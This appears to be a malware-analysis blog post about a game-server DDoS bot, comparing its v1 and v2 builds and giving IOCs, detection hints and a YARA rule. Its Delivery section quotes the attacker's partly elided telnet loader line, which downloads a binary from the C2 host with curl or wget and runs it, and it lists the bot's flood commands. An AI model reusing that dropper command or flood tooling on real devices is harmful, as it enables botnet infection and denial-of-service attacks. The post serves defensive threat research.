focus_full_bot: a DDoS bot rebuilt overnight
A small game-server DDoS bot whose operator shipped v2 to every architecture a day after v1.
One server, 169.128.70[.]53 (AS214693, Fusiora), does everything. It logs in over telnet, serves the bot on port 8000 and runs the C2 on 7002. On 19 November it served v1 of a bot whose source file is focus_full_bot.c. By the morning of 20 November it was serving v2 for both ARM and x86_64. Static analysis only.
Delivery
The operator’s server logs in on telnet port 2323 as root/root, checks uname -m and echo SHELL_TEST, then pastes one line:
pkill -9 -f bot_armv7l_c; rm -f /tmp/bot_armv7l_c;
(curl -fsSL -o /tmp/bot_armv7l_c hxxp://169.128.70[.]53:8000/bot_armv7l_c || wget ... || busybox wget ... || python3 urllib ... || python urllib ...);
chmod 755 /tmp/bot_armv7l_c; (nohup ... &); (setsid ... &); (... &); sleep 2;
[ size > 2000 ] && echo DROP_OK || echo DROP_SMALL
It then checks for the C2 connection itself:
(ss -tn || netstat -tn) | grep -q 169.128.70[.]53:7002 && echo C2OK || echo C2NO
busybox netstat -tn | grep 1B5A | grep ESTABLISHED # 0x1B5A = 7002
A shorter variant saves the file as /tmp/bin_86. The loader checks whether the drop and the C2 connection worked, and nothing else spreads the bot. The scanning, login and drop all come from the operator’s own server.
The bot
The bot is a static glibc ELF built with GCC (Ubuntu 15.2.0-16ubuntu1). It has no persistence, no killer and no scanner. On start it:
- Double-forks, calls
setsid,chdir("/"), points stdio at/dev/nulland ignores SIGCHLD, HUP, INT, TERM and PIPE. - Renames itself with
prctl(PR_SET_NAME). - Seeds a SplitMix64 RNG from
/dev/urandom, the time and the pid. - Finds its source IP by routing toward 8.8.8[.]8, which it needs for raw packets.
- Connects to
169.128.70[.]53:7002, sendsBOT|<arch>and waits for!<vector> <target> <port> <seconds>.
v1 kept its symbols. They show one dispatcher (launch) and six flood routines: vector_tcp, vector_syn, vector_udp, vector_discord, vector_game and the HTTP flood. The targets are game servers and their hosts: FiveM, Minecraft and MCPE, Discord voice, and OVH-protected servers.
The arch check covers x86_64, amd64, i386, i686, aarch64, armv8, arm64, armv7, armv6, mipsel, mipsle and mips. I have only seen the ARM and x86_64 builds.
v1 to v2
| v1 (19 Nov) | v2 (20 Nov) | |
|---|---|---|
| Symbols | Not stripped | Stripped |
| Process name | [kthreadd] | [kworker/0:1] |
| Startup | 1-second !hold flood at 8.8.8[.]8 | None |
| Threads | (cores + 2) × 512, cap 8192 | Profile from /proc/meminfo: iot-1g, router-256m or normal. Can be overridden with --profile= |
| Check-in | `BOT | ` |
| Parser | sscanf("%31s %191s %d %u") | Whitespace tokenizer; !kill-all added |
| HTTP flood | POST /, User-Agent: Mozilla/5.0 | GET /?<rand>, Chrome 120 UA, Accept headers |
| Commands | 13 | 21 |
v1 commands: !discord !fivem !game !hbh !hold !http-ovh !mbm !mcpe !minecraft !syn !tcp-http !udp-gbps !udp-raw
v2 commands: !browser !discord !fivem !game !hbh !home-holder !http !http-focus !httpbypass !kill-all !mbm !minecraft !ovh-flood !pps-focus !syn !tcp !tcp-focus !tls !udp-focus !udp-gbps !udpbypass
The server stopped answering for a short time on the night of 19 November and came back with v2. Each version is the same code on ARM and x86_64, so this is one source tree built for every target and redeployed at once. Most of the changes look like fixes for problems from day one: v1 sent a startup flood at 8.8.8[.]8, ran a fixed 512 threads per core that a 256 MB router can’t survive, and used a process name that collides with PID 2. That reading is mine, based on the code.
I’m watching for a v3 and will update this post if one shows up.
Known vs. new
| Status (20 Nov) | |
|---|---|
| 169.128.70[.]53:7002 | ThreatFox, 19 Nov (graphworlok, tag bot_x86_64_c) |
| 169.128.70[.]53:8000 | ThreatFox, 19 Nov (wristhulk, as Mirai) |
bot_x86_64_c URL and both x86_64 payloads | URLhaus, 19 Nov (RogueBoulder3285, mertbeyazitli) |
| New: ARM v1 and v2 | Not on MalwareBazaar, ThreatFox or VirusTotal until I submitted them |
New: bot_armv7l_c URL | Not on URLhaus |
| New: the v1 to v2 change, the source name, the vectors and the C2 protocol | No public write-up I could find |
The “Mirai” labels don’t fit the code. There’s no Mirai config table, killer or scanner, and the bot is linked against glibc rather than uClibc.
IOCs
169.128.70[.]53 C2 tcp/7002, payloads tcp/8000
hxxp://169.128.70[.]53:8000/bot_armv7l_c
hxxp://169.128.70[.]53:8000/bot_x86_64_c
264fa37f61f8bcd1110ca64ef55a2ad58c83024bf58b7f40ec7c0d21897ab42b armv7 v1
034f9c7105448f79fd3b7ff8f9ccef6513793170a316d9370100510514c6e9b1 armv7 v2
2b9ff957accb416c7e02242beec810c49e0374c665e8ff313d220551ca49803b x86_64 v1
e730b5c87978f67e0b5aee81d867834b079f3bf5bc90991ea84df9d1a3088ba0 x86_64 v2
Detection
- TCP to port 7002 that starts with
BOT| - A process named
[kthreadd]or[kworker/0:1]whose/proc/<pid>/exeis under/tmp - Telnet input that contains
echo C2OK || echo C2NOorDROP_OK
rule focus_full_bot
{
strings:
$src = "focus_full_bot.c"
$reg1 = "BOT|%s cores=%d ram=%ldKB"
$reg2 = { 00 42 4F 54 7C 25 73 00 } // "\0BOT|%s\0"
$c1 = "!udp-gbps"
$c2 = "!discord"
$c3 = "!fivem"
$c4 = "!hbh"
$c5 = "!mbm"
$c6 = "!http-ovh"
$c7 = "!ovh-flood"
$c8 = "!home-holder"
condition:
uint32(0) == 0x464c457f and ($src or (1 of ($reg*) and 3 of ($c*)))
}
It matches all four builds.